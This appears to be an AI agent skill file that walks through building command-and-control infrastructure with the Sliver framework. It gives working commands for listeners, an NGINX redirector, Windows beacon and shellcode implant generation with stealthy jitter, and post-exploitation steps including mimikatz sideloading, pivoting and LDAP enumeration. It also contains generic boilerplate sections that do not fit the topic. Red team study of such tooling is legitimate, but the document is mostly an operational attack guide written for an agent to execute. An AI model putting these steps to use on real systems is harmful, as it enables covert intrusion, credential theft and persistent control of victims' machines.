Building C2 Infrastructure With Sliver Framework

---
name: building-c2-infrastructure-with-sliver-framework
description: Use when build and configure a resilient command-and-control infrastructure
  using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator
  support for authorized red team engagements. Use when building and configure a resilient
  command-and-control infrastructure using bishopfox's sliver.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- c2-framework
- sliver
- command-and-control
- adversary-simulation
- infrastructure
- post-exploitation
version: '1.0'
author: oyi77
license: Apache-2.0
d3fend_techniques:
- File Metadata Consistency Validation
- Certificate Analysis
- Application Protocol Command Analysis
- Content Format Conversion
- File Content Analysis
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
category: cybersecurity
---

# Building C2 Infrastructure with Sliver Framework

## Overview

Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.


## When to Use
**Trigger phrases:**
- "building c2 infrastructure with sliver framework"
- "Build and configure a resilient command-and-control infrastructure using BishopF"


- When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation

## Prerequisites

- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities

## Objectives

- Deploy a Sliver team server on hardened cloud infrastructure
- Configure HTTPS, mTLS, DNS, and WireGuard listeners
- Generate implants (beacons and sessions) for target platforms
- Set up NGINX or Apache redirectors between implants and the team server
- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
- Configure multi-operator access with certificate-based authentication
- Establish operational security controls for C2 communications

## MITRE ATT&CK Mapping

- **T1071.001** - Application Layer Protocol: Web Protocols
- **T1071.004** - Application Layer Protocol: DNS
- **T1573.002** - Encrypted Channel: Asymmetric Cryptography
- **T1090.002** - Proxy: External Proxy (Redirectors)
- **T1105** - Ingress Tool Transfer
- **T1132.001** - Data Encoding: Standard Encoding
- **T1572** - Protocol Tunneling

## Workflow

1. **Scope the task** — define objectives, boundaries, and success criteria
2. **Gather information** — collect all necessary data and context before proceeding
3. **Execute the core workflow** — follow the domain-specific steps methodically
4. **Validate results** — verify outputs against expected outcomes or baselines
5. **Document findings** — record results, anomalies, and recommendations
### Phase 1: Team Server Deployment
1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
3. Install Sliver using the official install script:
   ```bash
   curl https://sliver.sh/install | sudo bash
   ```
4. Start the Sliver server daemon:
   ```bash
   systemctl start sliver
   # Or run interactively
   sliver-server
   ```
5. Generate operator configuration files for team members:
   ```bash
   new-operator --name operator1 --lhost <team-server-ip>
   ```

### Phase 2: Listener Configuration
1. Configure an HTTPS listener with a legitimate SSL certificate:
   ```bash
   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
   ```
2. Configure a DNS listener for fallback C2:
   ```bash
   dns --domains c2dns.example.com --lport 53
   ```
3. Configure mTLS listener for high-security sessions:
   ```bash
   mtls --lhost 0.0.0.0 --lport 8888
   ```
4. Configure WireGuard listener for tunneled access:
   ```bash
   wg --lport 51820
   ```

### Phase 3: Redirector Setup
1. Deploy a separate VPS as a redirector (positioned between targets and team server)
2. Install and configure NGINX as a reverse proxy:
   ```nginx
   server {
       listen 443 ssl;
       server_name c2.example.com;
       ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
       ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;

       location / {
           proxy_pass https://<team-server-ip>:443;
           proxy_ssl_verify off;
           proxy_set_header Host $host;
           proxy_set_header X-Real-IP $remote_addr;
       }
   }
   ```
3. Configure iptables rules on the team server to only accept connections from the redirector:
   ```bash
   iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
   iptables -A INPUT -p tcp --dport 443 -j DROP
   ```
4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting

### Phase 4: Implant Generation
1. Generate an HTTPS beacon implant:
   ```bash
   generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
   ```
2. Generate a DNS beacon for restricted networks:
   ```bash
   generate beacon --dns c2dns.example.com --os windows --arch amd64
   ```
3. Generate a shellcode payload for injection:
   ```bash
   generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
   ```
4. Configure beacon jitter and callback intervals:
   ```bash
   generate beacon --http https://c2.example.com --seconds 60 --jitter 30
   ```

### Phase 5: Post-Exploitation Operations
1. Interact with active beacons/sessions:
   ```bash
   beacons        # List active beacons
   use <beacon-id> # Interact with a beacon
   ```
2. Execute post-exploitation modules:
   ```bash
   ps              # Process listing
   netstat         # Network connections
   execute-assembly /path/to/Seatbelt.exe -group=all  # Run .NET assemblies
   sideload /path/to/mimikatz.dll  # Load DLLs
   ```
3. Set up pivots for internal network access:
   ```bash
   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host
   ```
4. Use BOF (Beacon Object Files) for in-memory execution:
   ```bash
   armory install sa-ldapsearch  # Install from armory
   sa-ldapsearch -- "(objectClass=user)"  # Execute BOF
   ```

## When NOT to Use

- You need to test what you built (use performing-* skills)
- Task is about configuring existing systems (use configuring-* skills)
- You need to analyze the output (use analyzing-* skills)
- Task is about implementing vendor solutions (use implementing-* skills)
- You don't have infrastructure access
- Task requires compliance validation (use auditing-* skills)


## Red Flags

- Performing actions without explicit written authorization from the asset owner
- Testing against production systems without a defined scope and rules of engagement
- Sharing sensitive findings or credentials in unencrypted communications
- Failing to properly scope and contain the assessment before starting

## Verification

- All steps executed successfully against a test environment before production use
- Output documented with screenshots or logs demonstrating expected behavior
- Results validated against known-good baselines or reference implementations
- Documentation complete enough for another analyst to reproduce findings

## Tools and Resources

| Tool | Purpose | Platform |
|------|---------|----------|
| Sliver Server | C2 team server and implant management | Linux/macOS/Windows |
| Sliver Client | Operator console for team members | Cross-platform |
| NGINX | Redirector and reverse proxy | Linux |
| Certbot | Let's Encrypt SSL certificate generation | Linux |
| Cloudflare | CDN and domain fronting | Cloud |
| Armory | Sliver extension/BOF package manager | Built-in |

## Detection Signatures

| Indicator | Detection Method |
|-----------|-----------------|
| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |
| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |
| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |
| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |
| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |

## Validation Criteria

- [ ] Team server deployed and hardened with firewall rules
- [ ] HTTPS listener configured with valid SSL certificate
- [ ] DNS listener configured as fallback C2 channel
- [ ] At least one redirector deployed between targets and team server
- [ ] Multi-operator access configured with unique certificates
- [ ] Implants generated for target operating systems
- [ ] Beacon callback intervals and jitter configured for stealth
- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)
- [ ] Pivot functionality validated for internal network access
- [ ] All C2 traffic encrypted and passing through redirectors

## Process

1. Analyze the task requirements
2. Apply domain expertise
3. Verify output quality

## Anti-Rationalization Table

| Rationalization | Reality |
|---|---|
| "We are too small to be targeted" | Automated attacks target everyone. Size does not matter. |
| "Security slows us down" | A breach slows you down 100x more. Build security in from the start. |
| "We will fix it after launch" | Vulnerabilities in production are exploited within hours. Fix before deploy. |